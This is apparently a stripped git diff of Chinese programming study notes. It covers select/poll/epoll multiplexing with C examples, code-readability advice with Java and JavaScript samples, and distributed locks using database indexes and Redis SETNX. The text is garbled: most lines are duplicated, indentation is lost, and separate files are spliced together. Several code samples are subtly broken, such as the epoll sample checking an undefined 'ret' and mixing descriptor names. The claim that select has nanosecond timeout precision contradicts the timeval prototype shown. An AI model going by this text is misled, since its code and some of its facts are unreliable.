select/poll/epoll 都是 I/O 多路复用的具体实现select 出现的最早之后是 poll再是 epoll。
select/poll/epoll 都是 I/O 多路复用的具体实现select 出现的最早,之后是 poll再是 epoll。
## select
## select
```c
int select(int n, fd_set *readfds, fd_set *writefds, fd_set *exceptfds, struct timeval *timeout);
int select(int n, fd_set *readfds, fd_set *writefds, fd_set *exceptfds, struct timeval *timeout);
```
有三种类型的描述符类型readset、writeset、exceptset分别对应读、写、异常条件的描述符集合。fd_set 使用数组实现数组大小使用 FD_SETSIZE 定义。
有三种类型的描述符类型readset、writeset、exceptset分别对应读、写、异常条件的描述符集合。fd_set 使用数组实现,数组大小使用 FD_SETSIZE 定义。
timeout 为超时参数调用 select 会一直阻塞直到有描述符的事件到达或者等待的时间超过 timeout。
timeout 为超时参数,调用 select 会一直阻塞直到有描述符的事件到达或者等待的时间超过 timeout。
成功调用返回结果大于 0出错返回结果为 -1超时返回结果为 0。
成功调用返回结果大于 0出错返回结果为 -1超时返回结果为 0。
```c
fd_set fd_in, fd_out;
struct timeval tv;
fd_set fd_in, fd_out;
struct timeval tv;
// Reset the sets
FD_ZERO( &fd_in );
FD_ZERO( &fd_out );
// Reset the sets
FD_ZERO( &fd_in );
FD_ZERO( &fd_out );
// Monitor sock1 for input events
FD_SET( sock1, &fd_in );
// Monitor sock1 for input events
FD_SET( sock1, &fd_in );
// Monitor sock2 for output events
FD_SET( sock2, &fd_out );
// Monitor sock2 for output events
FD_SET( sock2, &fd_out );
// Find out which socket has the largest numeric value as select requires it
int largest_sock = sock1 > sock2 ? sock1 : sock2;
// Find out which socket has the largest numeric value as select requires it
int largest_sock = sock1 > sock2 ? sock1 : sock2;
// Wait up to 10 seconds
tv.tv_sec = 10;
tv.tv_usec = 0;
// Wait up to 10 seconds
tv.tv_sec = 10;
tv.tv_usec = 0;
// Call the select
int ret = select( largest_sock + 1, &fd_in, &fd_out, NULL, &tv );
// Call the select
int ret = select( largest_sock + 1, &fd_in, &fd_out, NULL, &tv );
// Check if select actually succeed
if ( ret == -1 )
    // report error and abort
else if ( ret == 0 )
    // timeout; no event detected
// Check if select actually succeed
if ( ret == -1 )
// report error and abort
else if ( ret == 0 )
// timeout; no event detected
else
{
    if ( FD_ISSET( sock1, &fd_in ) )
        // input event on sock1
if ( FD_ISSET( sock1, &fd_in ) )
// input event on sock1
    if ( FD_ISSET( sock2, &fd_out ) )
        // output event on sock2
if ( FD_ISSET( sock2, &fd_out ) )
// output event on sock2
}
```
## poll
## poll
```c
int poll(struct pollfd *fds, unsigned int nfds, int timeout);
int poll(struct pollfd *fds, unsigned int nfds, int timeout);
```
pollfd 使用链表实现。
pollfd 使用链表实现。
```c
// The structure for two events
struct pollfd fds[2];
// The structure for two events
struct pollfd fds[2];
// Monitor sock1 for input
fds[0].fd = sock1;
fds[0].events = POLLIN;
// Monitor sock1 for input
fds[0].fd = sock1;
fds[0].events = POLLIN;
// Monitor sock2 for output
fds[1].fd = sock2;
fds[1].events = POLLOUT;
// Monitor sock2 for output
fds[1].fd = sock2;
fds[1].events = POLLOUT;
// Wait 10 seconds
int ret = poll( &fds, 2, 10000 );
// Check if poll actually succeed
if ( ret == -1 )
    // report error and abort
else if ( ret == 0 )
    // timeout; no event detected
// Wait 10 seconds
int ret = poll( &fds, 2, 10000 );
// Check if poll actually succeed
if ( ret == -1 )
// report error and abort
else if ( ret == 0 )
// timeout; no event detected
else
{
    // If we detect the event, zero it out so we can reuse the structure
    if ( fds[0].revents & POLLIN )
        fds[0].revents = 0;
        // input event on sock1
// If we detect the event, zero it out so we can reuse the structure
if ( fds[0].revents & POLLIN )
fds[0].revents = 0;
// input event on sock1
    if ( fds[1].revents & POLLOUT )
        fds[1].revents = 0;
        // output event on sock2
if ( fds[1].revents & POLLOUT )
fds[1].revents = 0;
// output event on sock2
}
```
## 比较
## 比较
### 1. 功能
### 1. 功能
select  poll 的功能基本相同,不过在一些实现细节上有所不同。
select 和 poll 的功能基本相同,不过在一些实现细节上有所不同。
- select 会修改描述符 poll 不会;
- select 的描述符类型使用数组实现FD_SETSIZE 大小默认为 1024因此默认只能监听 1024 个描述符。如果要监听更多描述符的话需要修改 FD_SETSIZE 之后重新编译 poll 的描述符类型使用链表实现,没有描述符数量的限制;
- poll 提供了更多的事件类型并且对描述符的重复利用上比 select 高。
- 如果一个线程对某个描述符调用了 select 或者 poll另一个线程关闭了该描述符会导致调用结果不确定。
- select 会修改描述符,而 poll 不会;
- select 的描述符类型使用数组实现FD_SETSIZE 大小默认为 1024因此默认只能监听 1024 个描述符。如果要监听更多描述符的话,需要修改 FD_SETSIZE 之后重新编译;而 poll 的描述符类型使用链表实现,没有描述符数量的限制;
- poll 提供了更多的事件类型,并且对描述符的重复利用上比 select 高。
- 如果一个线程对某个描述符调用了 select 或者 poll另一个线程关闭了该描述符会导致调用结果不确定。
### 2. 速度
### 2. 速度
select  poll 速度都比较慢。
select 和 poll 速度都比较慢。
- select  poll 每次调用都需要将全部描述符从应用进程缓冲区复制到内核缓冲区。
- select  poll 的返回结果中没有声明哪些描述符已经准备好所以如果返回值大于 0 应用进程都需要使用轮询的方式来找到 I/O 完成的描述符。
- select 和 poll 每次调用都需要将全部描述符从应用进程缓冲区复制到内核缓冲区。
- select 和 poll 的返回结果中没有声明哪些描述符已经准备好,所以如果返回值大于 0 时,应用进程都需要使用轮询的方式来找到 I/O 完成的描述符。
### 3. 可移植性
### 3. 可移植性
几乎所有的系统都支持 select但是只有比较新的系统支持 poll。
几乎所有的系统都支持 select但是只有比较新的系统支持 poll。
## epoll
## epoll
```c
int epoll_create(int size);
int epoll_ctl(int epfd, int op, int fd, struct epoll_event *event)
int epoll_wait(int epfd, struct epoll_event * events, int maxevents, int timeout);
int epoll_create(int size);
int epoll_ctl(int epfd, int op, int fd, struct epoll_event *event)
int epoll_wait(int epfd, struct epoll_event * events, int maxevents, int timeout);
```
epoll_ctl() 用于向内核注册新的描述符或者是改变某个文件描述符的状态。已注册的描述符在内核中会被维护在一棵红黑树上,通过回调函数内核会将 I/O 准备好的描述符加入到一个链表中管理进程调用 epoll_wait() 便可以得到事件完成的描述符。
epoll_ctl() 用于向内核注册新的描述符或者是改变某个文件描述符的状态。已注册的描述符在内核中会被维护在一棵红黑树上,通过回调函数内核会将 I/O 准备好的描述符加入到一个链表中管理,进程调用 epoll_wait() 便可以得到事件完成的描述符。
从上面的描述可以看出epoll 只需要将描述符从进程缓冲区向内核缓冲区拷贝一次,并且进程不需要通过轮询来获得事件完成的描述符。
从上面的描述可以看出epoll 只需要将描述符从进程缓冲区向内核缓冲区拷贝一次,并且进程不需要通过轮询来获得事件完成的描述符。
epoll 仅适用于 Linux OS。
epoll 仅适用于 Linux OS。
epoll  select  poll 更加灵活而且没有描述符数量限制。
epoll 比 select 和 poll 更加灵活而且没有描述符数量限制。
epoll 对多线程编程更有友好一个线程调用了 epoll_wait() 另一个线程关闭了同一个描述符也不会产生像 select  poll 的不确定情况。
epoll 对多线程编程更有友好,一个线程调用了 epoll_wait() 另一个线程关闭了同一个描述符也不会产生像 select 和 poll 的不确定情况。
```c
// Create the epoll descriptor. Only one is needed per app, and is used to monitor all sockets.
// The function argument is ignored (it was not before, but now it is), so put your favorite number here
int pollingfd = epoll_create( 0xCAFE );
// Create the epoll descriptor. Only one is needed per app, and is used to monitor all sockets.
// The function argument is ignored (it was not before, but now it is), so put your favorite number here
int pollingfd = epoll_create( 0xCAFE );
if ( pollingfd < 0 )
 // report error
if ( pollingfd < 0 )
// report error
// Initialize the epoll structure in case more members are added in future
struct epoll_event ev = { 0 };
// Initialize the epoll structure in case more members are added in future
struct epoll_event ev = { 0 };
// Associate the connection class instance with the event. You can associate anything
// you want, epoll does not use this information. We store a connection class pointer, pConnection1
ev.data.ptr = pConnection1;
// Associate the connection class instance with the event. You can associate anything
// you want, epoll does not use this information. We store a connection class pointer, pConnection1
ev.data.ptr = pConnection1;
// Monitor for input, and do not automatically rearm the descriptor after the event
ev.events = EPOLLIN | EPOLLONESHOT;
// Add the descriptor into the monitoring list. We can do it even if another thread is
// waiting in epoll_wait - the descriptor will be properly added
if ( epoll_ctl( epollfd, EPOLL_CTL_ADD, pConnection1->getSocket(), &ev ) != 0 )
    // report error
// Monitor for input, and do not automatically rearm the descriptor after the event
ev.events = EPOLLIN | EPOLLONESHOT;
// Add the descriptor into the monitoring list. We can do it even if another thread is
// waiting in epoll_wait - the descriptor will be properly added
if ( epoll_ctl( epollfd, EPOLL_CTL_ADD, pConnection1->getSocket(), &ev ) != 0 )
// report error
// Wait for up to 20 events (assuming we have added maybe 200 sockets before that it may happen)
struct epoll_event pevents[ 20 ];
// Wait for up to 20 events (assuming we have added maybe 200 sockets before that it may happen)
struct epoll_event pevents[ 20 ];
// Wait for 10 seconds, and retrieve less than 20 epoll_event and store them into epoll_event array
int ready = epoll_wait( pollingfd, pevents, 20, 10000 );
// Check if epoll actually succeed
if ( ret == -1 )
    // report error and abort
else if ( ret == 0 )
    // timeout; no event detected
// Wait for 10 seconds, and retrieve less than 20 epoll_event and store them into epoll_event array
int ready = epoll_wait( pollingfd, pevents, 20, 10000 );
// Check if epoll actually succeed
if ( ret == -1 )
// report error and abort
else if ( ret == 0 )
// timeout; no event detected
else
{
    // Check if any events detected
    for ( int i = 0; i < ret; i++ )
    {
        if ( pevents[i].events & EPOLLIN )
        {
            // Get back our connection pointer
            Connection * c = (Connection*) pevents[i].data.ptr;
            c->handleReadEvent();
         }
    }
// Check if any events detected
for ( int i = 0; i < ret; i++ )
{
if ( pevents[i].events & EPOLLIN )
{
// Get back our connection pointer
Connection * c = (Connection*) pevents[i].data.ptr;
c->handleReadEvent();
}
}
}
```
## 工作模式
## 工作模式
epoll 的描述符事件有两种触发模式LTlevel trigger ETedge trigger
epoll 的描述符事件有两种触发模式LTlevel trigger和 ETedge trigger
### 1. LT 模式
### 1. LT 模式
 epoll_wait() 检测到描述符事件到达时,将此事件通知进程,进程可以不立即处理该事件,下次调用 epoll_wait() 会再次通知进程。是默认的一种模式并且同时支持 Blocking  No-Blocking。
epoll_wait() 检测到描述符事件到达时,将此事件通知进程,进程可以不立即处理该事件,下次调用 epoll_wait() 会再次通知进程。是默认的一种模式,并且同时支持 Blocking 和 No-Blocking。
### 2. ET 模式
### 2. ET 模式
 LT 模式不同的是通知之后进程必须立即处理事件下次再调用 epoll_wait() 时不会再得到事件到达的通知。
LT 模式不同的是,通知之后进程必须立即处理事件,下次再调用 epoll_wait() 时不会再得到事件到达的通知。
很大程度上减少了 epoll 事件被重复触发的次数因此效率要比 LT 模式高。只支持 No-Blocking以避免由于一个文件句柄的阻塞读/阻塞写操作把处理多个文件描述符的任务饿死。
很大程度上减少了 epoll 事件被重复触发的次数,因此效率要比 LT 模式高。只支持 No-Blocking以避免由于一个文件句柄的阻塞读/阻塞写操作把处理多个文件描述符的任务饿死。
## 应用场景
## 应用场景
很容易产生一种错觉认为只要用 epoll 就可以了select  poll 都已经过时了,其实它们都有各自的使用场景。
很容易产生一种错觉认为只要用 epoll 就可以了select 和 poll 都已经过时了,其实它们都有各自的使用场景。
### 1. select 应用场景
### 1. select 应用场景
select  timeout 参数精度为 1ns poll  epoll  1ms因此 select 更加适用于实时性要求比较高的场景,比如核反应堆的控制。
select 的 timeout 参数精度为 1ns而 poll 和 epoll 为 1ms因此 select 更加适用于实时性要求比较高的场景,比如核反应堆的控制。
select 可移植性更好,几乎被所有主流平台所支持。
select 可移植性更好,几乎被所有主流平台所支持。
### 2. poll 应用场景
### 2. poll 应用场景
poll 没有最大描述符数量的限制,如果平台支持并且对实时性要求不高,应该使用 poll 而不是 select。
poll 没有最大描述符数量的限制,如果平台支持并且对实时性要求不高,应该使用 poll 而不是 select。
### 3. epoll 应用场景
### 3. epoll 应用场景
只需要运行在 Linux 平台上,有大量的描述符需要同时轮询,并且这些连接最好是长连接。
只需要运行在 Linux 平台上,有大量的描述符需要同时轮询,并且这些连接最好是长连接。
需要同时监控小于 1000 个描述符就没有必要使用 epoll因为这个应用场景下并不能体现 epoll 的优势。
需要同时监控小于 1000 个描述符,就没有必要使用 epoll因为这个应用场景下并不能体现 epoll 的优势。
需要监控的描述符状态变化多,而且都是非常短暂的,也没有必要使用 epoll。因为 epoll 中的所有描述符都存储在内核中,造成每次需要对描述符的状态改变都需要通过 epoll_ctl() 进行系统调用频繁系统调用降低效率。并且 epoll 的描述符存储在内核,不容易调试。
需要监控的描述符状态变化多,而且都是非常短暂的,也没有必要使用 epoll。因为 epoll 中的所有描述符都存储在内核中,造成每次需要对描述符的状态改变都需要通过 epoll_ctl() 进行系统调用,频繁系统调用降低效率。并且 epoll 的描述符存储在内核,不容易调试。
# 参考资料
# 参考资料
- Stevens W R, Fenner B, Rudoff A M. UNIX network programming[M]. Addison-Wesley Professional, 2004.
- [Boost application performance using asynchronous I/O](https://www.ibm.com/developerworks/linux/library/l-async/)
- [Synchronous and Asynchronous I/O](https://msdn.microsoft.com/en-us/library/windows/desktop/aa365683(v=vs.85).aspx)
- [Linux IO 模式及 select、poll、epoll 详解](https://segmentfault.com/a/1190000003063859)
- [poll vs select vs event-based](https://daniel.haxx.se/docs/poll-vs-select.html)
- [select / poll / epoll: practical difference for system architects](http://www.ulduzsoft.com/2014/01/select-poll-epoll-practical-difference-for-system-architects/)
- [Browse the source code of userspace/glibc/sysdeps/unix/sysv/linux/ online](https://code.woboq.org/userspace/glibc/sysdeps/unix/sysv/linux/)
- Stevens W R, Fenner B, Rudoff A M. UNIX network programming[M]. Addison-Wesley Professional, 2004.
- [Boost application performance using asynchronous I/O](https://www.ibm.com/developerworks/linux/library/l-async/)
- [Synchronous and Asynchronous I/O](https://msdn.microsoft.com/en-us/library/windows/desktop/aa365683(v=vs.85).aspx)
- [Linux IO 模式及 select、poll、epoll 详解](https://segmentfault.com/a/1190000003063859)
- [poll vs select vs event-based](https://daniel.haxx.se/docs/poll-vs-select.html)
- [select / poll / epoll: practical difference for system architects](http://www.ulduzsoft.com/2014/01/select-poll-epoll-practical-difference-for-system-architects/)
- [Browse the source code of userspace/glibc/sysdeps/unix/sysv/linux/ online](https://code.woboq.org/userspace/glibc/sysdeps/unix/sysv/linux/)

View File

@ -1,4 +1,23 @@
# 一、可读性的重要性
[🎉 面试进阶指南已上线](https://xiaozhuanlan.com/CyC2018)
<!-- GFM-TOC -->
* [一、可读性的重要性](#一可读性的重要性)
* [二、用名字表达代码含义](#二用名字表达代码含义)
* [三、名字不能带来歧义](#三名字不能带来歧义)
* [四、良好的代码风格](#四良好的代码风格)
* [五、为何编写注释](#五为何编写注释)
* [六、如何编写注释](#六如何编写注释)
* [七、提高控制流的可读性](#七提高控制流的可读性)
* [八、拆分长表达式](#八拆分长表达式)
* [九、变量与可读性](#九变量与可读性)
* [十、抽取函数](#十抽取函数)
* [十一、一次只做一件事](#十一一次只做一件事)
* [十二、用自然语言表述代码](#十二用自然语言表述代码)
* [十三、减少代码量](#十三减少代码量)
* [参考资料](#参考资料)
<!-- GFM-TOC -->
# 一、可读性的重要性
编程有很大一部分时间是在阅读代码,不仅要阅读自己的代码,而且要阅读别人的代码。因此,可读性良好的代码能够大大提高编程效率。
@ -6,50 +25,50 @@
只有在核心领域为了效率才可以放弃可读性,否则可读性是第一位。
# 二、用名字表达代码含义
# 二、用名字表达代码含义
一些比较有表达力的单词:
|  单词 |  可替代单词 |
| :---: | --- |
|  send | deliver、dispatch、announce、distribute、route  |
| find  |  search、extract、locate、recover |
| start| launch、create、begin、open|
| make | create、set up、build、generate、compose、add、new |
| 单词 | 可替代单词 |
| :---: | --- |
| send | deliver、dispatch、announce、distribute、route |
| find | search、extract、locate、recover |
| start| launch、create、begin、open|
| make | create、set up、build、generate、compose、add、new |
使用 i、j、k 作为循环迭代器的名字过于简单user_i、member_i 这种名字会更有表达力。因为循环层次越多,代码越难理解,有表达力的迭代器名字可读性会更高。
使用 i、j、k 作为循环迭代器的名字过于简单user_i、member_i 这种名字会更有表达力。因为循环层次越多,代码越难理解,有表达力的迭代器名字可读性会更高。
为名字添加形容词等信息能让名字更具有表达力,但是名字也会变长。名字长短的准则是:作用域越大,名字越长。因此只有在短作用域才能使用一些简单名字。
# 三、名字不能带来歧义
# 三、名字不能带来歧义
起完名字要思考一下别人会对这个名字有何解读,会不会误解了原本想表达的含义。
布尔相关的命名加上 is、can、should、has 等前缀。
布尔相关的命名加上 is、can、should、has 等前缀。
-  min、max 表示数量范围;
-  first、last 表示访问空间的包含范围;
- begin、end 表示访问空间的排除范围 end 不包含尾部。
- 用 min、max 表示数量范围;
- 用 first、last 表示访问空间的包含范围;
- begin、end 表示访问空间的排除范围,即 end 不包含尾部。
![](index_files/05907ab4-42c5-4b5e-9388-6617f6c97bea.jpg)
<div align="center"> <img src="pics/05907ab4-42c5-4b5e-9388-6617f6c97bea.jpg"/> </div><br>
# 四、良好的代码风格
# 四、良好的代码风格
适当的空行和缩进。
排列整齐的注释:
```java
int a = 1;   // 注释
int b = 11;  // 注释
int c = 111; // 注释
int a = 1; // 注释
int b = 11; // 注释
int c = 111; // 注释
```
语句顺序不能随意,比如与 html 表单相关联的变量的赋值应该和表单在 html 中的顺序一致。
语句顺序不能随意,比如与 html 表单相关联的变量的赋值应该和表单在 html 中的顺序一致。
# 五、为何编写注释
# 五、为何编写注释
阅读代码首先会注意到注释,如果注释没太大作用,那么就会浪费代码阅读的时间。那些能直接看出含义的代码不需要写注释,特别是并不需要为每个方法都加上注释,比如那些简单的 getter  setter 方法,为这些方法写注释反而让代码可读性更差。
阅读代码首先会注意到注释,如果注释没太大作用,那么就会浪费代码阅读的时间。那些能直接看出含义的代码不需要写注释,特别是并不需要为每个方法都加上注释,比如那些简单的 getter 和 setter 方法,为这些方法写注释反而让代码可读性更差。
不能因为有注释就随便起个名字,而是争取起个好名字而不写注释。
@ -57,193 +76,193 @@ int c = 111; // 注释
注释用来提醒一些特殊情况。
 TODO 等做标记:
TODO 等做标记:
| 标记 | 用法 |
| 标记 | 用法 |
|---|---|
|TODO| 待做 |
|FIXME| 待修复 |
|HACK| 粗糙的解决方案 |
|XXX| 危险!这里有重要的问题 |
|TODO| 待做 |
|FIXME| 待修复 |
|HACK| 粗糙的解决方案 |
|XXX| 危险!这里有重要的问题 |
# 六、如何编写注释
# 六、如何编写注释
尽量简洁明了:
```java
// The first String is student's name
// The Second Integer is student's score
Map<String, Integer> scoreMap = new HashMap<>();
// The first String is student's name
// The Second Integer is student's score
Map<String, Integer> scoreMap = new HashMap<>();
```
```java
// Student's name -> Student's score
Map<String, Integer> scoreMap = new HashMap<>();
// Student's name -> Student's score
Map<String, Integer> scoreMap = new HashMap<>();
```
添加测试用例来说明:
```java
// ...
// Example: add(1, 2), return 3
int add(int x, int y) {
    return x + y;
// ...
// Example: add(1, 2), return 3
int add(int x, int y) {
return x + y;
}
```
使用专业名词来缩短概念上的解释,比如用设计模式名来说明代码。
# 七、提高控制流的可读性
# 七、提高控制流的可读性
条件表达式中,左侧是变量,右侧是常数。比如下面第一个语句正确:
```java
if (len < 10)
if (10 > len)
if (len < 10)
if (10 > len)
```
只有在逻辑简单的情况下使用 ? : 三目运算符来使代码更紧凑否则应该拆分成 if / else
只有在逻辑简单的情况下使用 ? : 三目运算符来使代码更紧凑,否则应该拆分成 if / else
do / while 的条件放在后面不够简单明了并且会有一些迷惑的地方最好使用 while 来代替。
do / while 的条件放在后面,不够简单明了,并且会有一些迷惑的地方,最好使用 while 来代替。
如果只有一个 goto 目标那么 goto 尚且还能接受但是过于复杂的 goto 会让代码可读性特别差应该避免使用 goto。
如果只有一个 goto 目标,那么 goto 尚且还能接受,但是过于复杂的 goto 会让代码可读性特别差,应该避免使用 goto。
在嵌套的循环中,用一些 return 语句往往能减少嵌套的层数。
在嵌套的循环中,用一些 return 语句往往能减少嵌套的层数。
# 八、拆分长表达式
# 八、拆分长表达式
长表达式的可读性很差,可以引入一些解释变量从而拆分表达式:
```python
if line.split(':')[0].strip() == "root":
    ...
if line.split(':')[0].strip() == "root":
...
```
```python
username = line.split(':')[0].strip()
if username == "root":
    ...
username = line.split(':')[0].strip()
if username == "root":
...
```
使用摩根定理简化一些逻辑表达式:
```java
if (!a && !b) {
    ...
if (!a && !b) {
...
}
```
```java
if (!(a || b)) {
    ...
if (!(a || b)) {
...
}
```
# 九、变量与可读性
# 九、变量与可读性
**去除控制流变量**。在循环中通过使用 break 或者 return 可以减少控制流变量的使用。
**去除控制流变量** 。在循环中通过使用 break 或者 return 可以减少控制流变量的使用。
```java
boolean done = false;
while (/* condition */ && !done) {
    ...
    if ( ... ) {
        done = true;
        continue;
    }
boolean done = false;
while (/* condition */ && !done) {
...
if ( ... ) {
done = true;
continue;
}
}
```
```java
while(/* condition */) {
    ...
    if ( ... ) {
        break;
    }
while(/* condition */) {
...
if ( ... ) {
break;
}
}
```
**减小变量作用域**。作用域越小,越容易定位到变量所有使用的地方。
**减小变量作用域** 。作用域越小,越容易定位到变量所有使用的地方。
JavaScript 可以用闭包减小作用域。以下代码中 submit_form 是函数变量submitted 变量控制函数不会被提交两次。第一个实现中 submitted 是全局变量第二个实现把 submitted 放到匿名函数中,从而限制了起作用域范围。
JavaScript 可以用闭包减小作用域。以下代码中 submit_form 是函数变量submitted 变量控制函数不会被提交两次。第一个实现中 submitted 是全局变量,第二个实现把 submitted 放到匿名函数中,从而限制了起作用域范围。
```js
submitted = false;
var submit_form = function(form_name) {
    if (submitted) {
        return;
    }
    submitted = true;
submitted = false;
var submit_form = function(form_name) {
if (submitted) {
return;
}
submitted = true;
};
```
```js
var submit_form = (function() {
    var submitted = false;
    return function(form_name) {
        if(submitted) {
            return;
        }
        submitted = true;
    }
}());  // () 使得外层匿名函数立即执行
var submit_form = (function() {
var submitted = false;
return function(form_name) {
if(submitted) {
return;
}
submitted = true;
}
}()); // () 使得外层匿名函数立即执行
```
JavaScript 中没有用 var 声明的变量都是全局变量而全局变量很容易造成迷惑因此应当总是用 var 来声明变量。
JavaScript 中没有用 var 声明的变量都是全局变量,而全局变量很容易造成迷惑,因此应当总是用 var 来声明变量。
变量定义的位置应当离它使用的位置最近。
**实例解析**
**实例解析**
在一个网页中有以下文本输入字段:
```html
<input type = "text" id = "input1" value = "a">
<input type = "text" id = "input2" value = "b">
<input type = "text" id = "input3" value = "">
<input type = "text" id = "input4" value = "d">
<input type = "text" id = "input1" value = "a">
<input type = "text" id = "input2" value = "b">
<input type = "text" id = "input3" value = "">
<input type = "text" id = "input4" value = "d">
```
现在要接受一个字符串并把它放到第一个空的 input 字段中,初始实现如下:
现在要接受一个字符串并把它放到第一个空的 input 字段中,初始实现如下:
```js
var setFirstEmptyInput = function(new_alue) {
    var found = false;
    var i = 1;
    var elem = document.getElementById('input' + i);
    while (elem != null) {
        if (elem.value === '') {
            found = true;
            break;
        }
        i++;
        elem = document.getElementById('input' + i);
    }
    if (found) elem.value = new_value;
    return elem;
var setFirstEmptyInput = function(new_alue) {
var found = false;
var i = 1;
var elem = document.getElementById('input' + i);
while (elem != null) {
if (elem.value === '') {
found = true;
break;
}
i++;
elem = document.getElementById('input' + i);
}
if (found) elem.value = new_value;
return elem;
}
```
以上实现有以下问题:
- found 可以去除;
- elem 作用域过大;
- 可以用 for 循环代替 while 循环;
- found 可以去除;
- elem 作用域过大;
- 可以用 for 循环代替 while 循环;
```js
var setFirstEmptyInput = function(new_value) {
    for (var i = 1; true; i++) {
        var elem = document.getElementById('input' + i);
        if (elem === null) {
            return null;
        }
        if (elem.value === '') {
            elem.value = new_value;
            return elem;
        }
    }
var setFirstEmptyInput = function(new_value) {
for (var i = 1; true; i++) {
var elem = document.getElementById('input' + i);
if (elem === null) {
return null;
}
if (elem.value === '') {
elem.value = new_value;
return elem;
}
}
};
```
# 十、抽取函数
# 十、抽取函数
工程学就是把大问题拆分成小问题再把这些问题的解决方案放回一起。
@ -252,38 +271,38 @@ var setFirstEmptyInput = function(new_value) {
介绍性的代码:
```java
int findClostElement(int[] arr) {
    int clostIdx;
    int clostDist = Interger.MAX_VALUE;
    for (int i = 0; i < arr.length; i++) {
        int x = ...;
        int y = ...;
        int z = ...;
        int value = x * y * z;
        int dist = Math.sqrt(Math.pow(value, 2), Math.pow(arr[i], 2));
        if (dist < clostDist) {
            clostIdx = i;
            clostDist = value;
        }
    }
    return clostIdx;
int findClostElement(int[] arr) {
int clostIdx;
int clostDist = Interger.MAX_VALUE;
for (int i = 0; i < arr.length; i++) {
int x = ...;
int y = ...;
int z = ...;
int value = x * y * z;
int dist = Math.sqrt(Math.pow(value, 2), Math.pow(arr[i], 2));
if (dist < clostDist) {
clostIdx = i;
clostDist = value;
}
}
return clostIdx;
}
```
以上代码中循环部分主要计算距离,这部分不属于代码高层次目标,高层次目标是寻找最小距离的值,因此可以把这部分代替提取到独立的函数中。这样做也带来一个额外的好处有:可以单独进行测试、可以快速找到程序错误并修改。
```java
public int findClostElement(int[] arr) {
    int clostIdx;
    int clostDist = Interger.MAX_VALUE;
    for (int i = 0; i < arr.length; i++) {
        int dist = computDist(arr, i);
        if (dist < clostDist) {
            clostIdx = i;
            clostDist = value;
        }
    }
    return clostIdx;
public int findClostElement(int[] arr) {
int clostIdx;
int clostDist = Interger.MAX_VALUE;
for (int i = 0; i < arr.length; i++) {
int dist = computDist(arr, i);
if (dist < clostDist) {
clostIdx = i;
clostDist = value;
}
}
return clostIdx;
}
```
@ -291,22 +310,22 @@ public int findClostElement(int[] arr) {
函数抽取也用于减小代码的冗余。
# 十一、一次只做一件事
# 十一、一次只做一件事
只做一件事的代码很容易让人知道其要做的事;
基本流程:列出代码所做的所有任务;把每个任务拆分到不同的函数,或者不同的段落。
# 十二、用自然语言表述代码
# 十二、用自然语言表述代码
先用自然语言书写代码逻辑,也就是伪代码,然后再写代码,这样代码逻辑会更清晰。
# 十三、减少代码量
# 十三、减少代码量
不要过度设计,编码过程会有很多变化,过度设计的内容到最后往往是无用的。
多用标准库实现。
# 参考资料
# 参考资料
- Dustin, Boswell, Trevor, 等. 编写可读代码的艺术 [M]. 机械工业出版社, 2012.
- Dustin, Boswell, Trevor, 等. 编写可读代码的艺术 [M]. 机械工业出版社, 2012.

View File

@ -1,3 +1,8 @@
- [Twitter Java Style Guide](https://github.com/twitter/commons/blob/master/src/java/com/twitter/common/styleguide.md)
- [Google Java Style Guide](http://google.github.io/styleguide/javaguide.html)
- [阿里巴巴Java开发手册](https://github.com/alibaba/p3c/blob/master/%E9%98%BF%E9%87%8C%E5%B7%B4%E5%B7%B4Java%E5%BC%80%E5%8F%91%E6%89%8B%E5%86%8C%EF%BC%88%E8%AF%A6%E5%B0%BD%E7%89%88%EF%BC%89.pdf)
[🎉 面试进阶指南已上线](https://xiaozhuanlan.com/CyC2018)
<!-- GFM-TOC -->
<!-- GFM-TOC -->
- [Twitter Java Style Guide](https://github.com/twitter/commons/blob/master/src/java/com/twitter/common/styleguide.md)
- [Google Java Style Guide](http://google.github.io/styleguide/javaguide.html)
- [阿里巴巴Java开发手册](https://github.com/alibaba/p3c/blob/master/%E9%98%BF%E9%87%8C%E5%B7%B4%E5%B7%B4Java%E5%BC%80%E5%8F%91%E6%89%8B%E5%86%8C%EF%BC%88%E8%AF%A6%E5%B0%BD%E7%89%88%EF%BC%89.pdf)

View File

@ -1,335 +1,345 @@
# 一、分布式锁
[🎉 面试进阶指南已上线](https://xiaozhuanlan.com/CyC2018)
<!-- GFM-TOC -->
* [一、分布式锁](#一分布式锁)
* [数据库的唯一索引](#数据库的唯一索引)
* [Redis 的 SETNX 指令](#redis-的-setnx-指令)
* [Redis 的 RedLock 算法](#redis-的-redlock-算法)
* [Zookeeper 的有序节点](#zookeeper-的有序节点)
* [二、分布式事务](#二分布式事务)
* [本地消息表](#本地消息表)
* [2PC](#2pc)
* [三、CAP](#三cap)
* [一致性](#一致性)
* [可用性](#可用性)
* [分区容忍性](#分区容忍性)
* [权衡](#权衡)
* [四、BASE](#四base)
* [基本可用](#基本可用)
* [软状态](#软状态)
* [最终一致性](#最终一致性)
* [五、Paxos](#五paxos)
* [执行过程](#执行过程)
* [约束条件](#约束条件)
* [六、Raft](#六raft)
* [单个 Candidate 的竞选](#单个-candidate-的竞选)
* [多个 Candidate 竞选](#多个-candidate-竞选)
* [数据同步](#数据同步)
* [参考](#参考)
<!-- GFM-TOC -->
# 一、分布式锁
在单机场景下,可以使用语言的内置锁来实现进程同步。但是在分布式场景下,需要同步的进程可能位于不同的节点上,那么就需要使用分布式锁。
阻塞锁通常使用互斥量来实现:
- 互斥量为 0 表示有其它进程在使用锁此时处于锁定状态
- 互斥量为 1 表示未锁定状态。
- 互斥量为 0 表示有其它进程在使用锁,此时处于锁定状态;
- 互斥量为 1 表示未锁定状态。
1  0 可以用一个整型值表示也可以用某个数据是否存在表示。
1 和 0 可以用一个整型值表示,也可以用某个数据是否存在表示。
## 数据库的唯一索引
## 数据库的唯一索引
获得锁时向表中插入一条记录,释放锁时删除这条记录。唯一索引可以保证该记录只被插入一次,那么就可以用这个记录是否存在来判断是否存于锁定状态。
存在以下几个问题:
- 锁没有失效时间,解锁失败的话其它进程无法再获得该锁。
- 只能是非阻塞锁,插入失败直接就报错了,无法重试。
- 不可重入,已经获得锁的进程也必须重新获取锁。
- 锁没有失效时间,解锁失败的话其它进程无法再获得该锁。
- 只能是非阻塞锁,插入失败直接就报错了,无法重试。
- 不可重入,已经获得锁的进程也必须重新获取锁。
## Redis  SETNX 指令
## Redis 的 SETNX 指令
使用 SETNXset if not exist指令插入一个键值对如果 Key 已经存在那么会返回 False否则插入成功并返回 True。
使用 SETNXset if not exist指令插入一个键值对如果 Key 已经存在,那么会返回 False否则插入成功并返回 True。
